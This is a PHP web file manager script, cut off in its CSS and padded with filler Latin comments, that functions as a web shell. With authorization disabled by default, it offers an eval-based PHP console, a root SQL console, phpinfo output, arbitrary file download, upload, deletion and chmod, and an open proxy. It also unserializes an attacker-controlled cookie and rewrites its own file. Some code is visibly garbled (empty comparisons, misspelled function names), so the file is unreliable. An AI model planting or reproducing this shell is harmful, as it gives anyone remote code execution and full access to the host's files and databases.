// Per hunc programmatum, utentes possunt fasciculos creare, deletare, vel movere
$authorization_Option = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fms_config;\r\nvar_export($fms_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello","Found in files":"Found in files","Search":"Search","Recursive search":"Recursive search","Mask":"Mask"}';
// File Manager instrumentum utile est ad res in systemate computatorio ordinandas
// Fasciculi in File Manager saepe ostenduntur in formis tabellarum vel indicum
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath() : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // File Manager programmatum simplicem interface praebet ad operationes fasciculorum
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;
// Usus communis File Manager includit apertionem, editorem et deletionem fasciculorum
$auth_local = json_decode($authorization_Option,true);
$auth_local['authorize'] = isset($auth_local['authorize']) ? $auth_local['authorize'] : 0;
$auth_local['days_authorization'] = (isset($auth_local['days_authorization'])&&is_numeric($auth_local['days_authorization'])) ? (int)$auth_local['days_authorization'] : 30;
$auth_local['login'] = isset($auth_local['login']) ? $auth_local['login'] : 'admin';
$auth_local['password'] = isset($auth_local['password']) ? $auth_local['password'] : 'phpfm';
$auth_local['cookie_name'] = isset($auth_local['cookie_name']) ? $auth_local['cookie_name'] : 'fm_user';
$auth_local['script'] = isset($auth_local['script']) ? $auth_local['script'] : '';
// File Manager adhibetur ad fasciculos inter directorias movere
$fm_default_config = array (
'make_directory' => true,
'new_file' => true,
'upload_myfile' => true,
'show_dir_size' => false, // File Manager systema ordinandi fasciculos praebet, ubi usores possunt categoriam fasciculorum creare
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // In systematibus operandi, File Manager saepe instrumentum praeconium ad administranda documenta
'show_gt' => true, // Programma File Manager permittit utentes ad systema interius navigandum
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fms_config = $fm_default_config;
else $fms_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_local['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// File Manager adhibetur ad perficiendum actiones in files quae celerem accessum requirunt
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
// Multae versiones File Manager in systematibus operandi diversis exstant
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
if (!empty($get_lang)) {
// File Manager in versionibus recentibus variat inter GUI et CLI formas
$translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
$fgc_check = file_get_contents(__FILE__);
$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc_check);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
$lang = json_decode($translation_string,true);
}
}
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
// Uti File Manager in systematibus ut Microsoft Windows vel Unix communiter fit
function fm_del_fileSet($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != && $el != '..'){
fm_del_fileSet($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// In systematibus operandi, File Manager typice apparet ut fenestra quae permittit utentes res administret
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Aliquam File Manager etiam permittit utentes cum serveris remotos operari.
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Faciunt optiones quae utentes adiuvant ad administrandum multos fasciculos simul
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Usus File Manager fit potissimum per drag et drop actiones
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// File Manager etiam multis systematibus permittit accessum ad hidden files
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val, true);
}
}
return $res;
}
//load fileSet
function fm_download($archiveFileName) {
if (!empty($archiveFileName)) {
if (file_exists($archiveFileName)) {
header("Content-Disposition: attachment; filename=" . basename($archiveFileName));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . fileSetize($archiveFileName));
flush(); // this doesn't really matter.
$fp = fopen($archiveFileName, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
// File Manager in multis casibus includit instrumenta ad compressiones fasciculorum
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return fileSetize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file== || $file=='..') continue;
if(is_file($f.'/'.$file)) $size+=fileSetize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+fileSetize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)', str_replace(, '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
</select>
</form>
';
}
function fm_root($dirname){
return ($dirname== OR $dirname=='..');
}
function fm_php($string){
$display_errorList=ini_get('display_errorList');
ini_set('display_errorList', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ini_set('display_errorList', $display_errorList);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fms_config;
return new mysqli($fms_config['sql_server'], $fms_config['sql_username'], $fms_config['sql_password'], $fms_config['sql_db']);
}
function fm_sql($query){
global $fms_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
$connection->close();
return '<pre>'.stripslashes($vdump).'</pre>';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"';
return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,fileSetize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' ?? '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}
function fm_img_link($filename){
return './'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+0x9Be54ec5a55A9753e998575B15B0842f8a58E79a/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fms_config;
return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fms_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():;
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>';
}
function fm_run_input($lng) {
global $fms_config;
$return = !empty($fms_config['enable_'.$lng.'_console']) ?
'
<form method="post" action="'.fm_url().'" style="display:inline">
<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
</form>
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link, 'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//????-??? ????? ?????????? ?????
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}
function find_text_in_fileSet($dir, $mask, $text) {
$results = array();
if ($handle = opendir($dir)) {
while (false !== ($entry = readdir($handle))) {
if ($entry != && $entry != "..") {
$path = $dir . "/" . $entry;
if (is_dir($path)) {
$results = array_merge($results, find_text_in_fileSet($path, $mask, $text));
} else {
if (fnmatch($mask, $entry)) {
$contents = file_get_contents($path);
if (strpos($contents, $text) !== false) {
$results[] = str_replace('//', '/', $path);
}
}
}
}
}
closedir($handle);
}
return $results;
}
// authorization
if ($auth_local['authorize']) {
if (isset($_POST['login']) && isset($_POST['password'])){
if (($_POST['login']==$auth_local['login']) && ($_POST['password']==$auth_local['password'])) {
setcookie($auth_local['cookie_name'], $auth_local['login'].'|'.md5($auth_local['password']), time() + (86400 * $auth_local['days_authorization']));
$_COOKIE[$auth_local['cookie_name']]=$auth_local['login'].'|'.md5($auth_local['password']);
}
}
if (!isset($_COOKIE[$auth_local['cookie_name']]) OR ($_COOKIE[$auth_local['cookie_name']]!=$auth_local['login'].'|'.md5($auth_local['password']))) {
echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">
'.__('Password').' <input name="password" type="password">
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth_local['cookie_name']]);
setcookie($auth_local['cookie_name'], '', time() - (86400 * $auth_local['days_authorization']));
header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 * $auth_local['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
} elseif (isset($_POST['fm_config'])) {
$fms_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fms_config), time() + (86400 * $auth_local['days_authorization']));
$_COOKIE['fm_config'] = serialize($fms_config);
$msg = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc_check = file_get_contents(__FILE__);
$search = preg_match('#authorization[\s]?\=[\s]{\"(.*?)\"\}\';#', $fgc_check, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc_check);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
if ($_POST['fm_login']['login'] != $auth_local['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] != $auth_local['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
$auth_local = $_POST['fm_login'];
}
else $msg .= __('Error occurred');
if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc_check = file_get_contents(__FILE__);
$search = preg_match('#'.$lng_tpl.'_templates[\s]\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc_check);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} else $msg .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fms_config['enable_proxy']))) {
$url = isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
<form action="" method="GET">
<input type="hidden" name="proxy" value="true">
'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
<input type="submit" value="'.__('Show').'" class="fm_input">
</form>
</div>
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
$result = preg_replace('%(<body.*)%i', '$1<style>'.fm_home_style().'</style>'.$proxy_form, $result);
echo $result;
die();
}
}
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>=__('File manager')</title>
<style>
body {
background-color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
margin: 0px;
}
a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover { color: #FFA34F; text-decoration: underline; }
table.bg {
background-color: #ACBBC6
}
th, td {
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
padding: 3px;
}
th {
height: 25px;
background-color: #006699;
color: #FFA34F;
font-weight: bold;
font-size: 11px;
}
.row1 {
background-color: #EFEFEF;
}
.row2 {
background-color: #DEE3E7;
}
.row3 {
background-color: #D1D7DC;
padding: 5px;
}
tr.row1:hover {
background-color: #F3FCFC;
}
tr.row2:hover {
background-color: #F0F6F6;
}
.whole {
width: 100%;
}
.all tbody td:first-child{width:100%;}
textarea {
font: 9pt 'Courier New', courier;
line-height: 125%;
padding: 5px;
}
.textarea_input {
height: 1em;
}
.textarea_input:focus {
height: auto;
}
input[type=submit]{
background: #FCFCFC none !important;
cursor: pointer;
}
.folder {
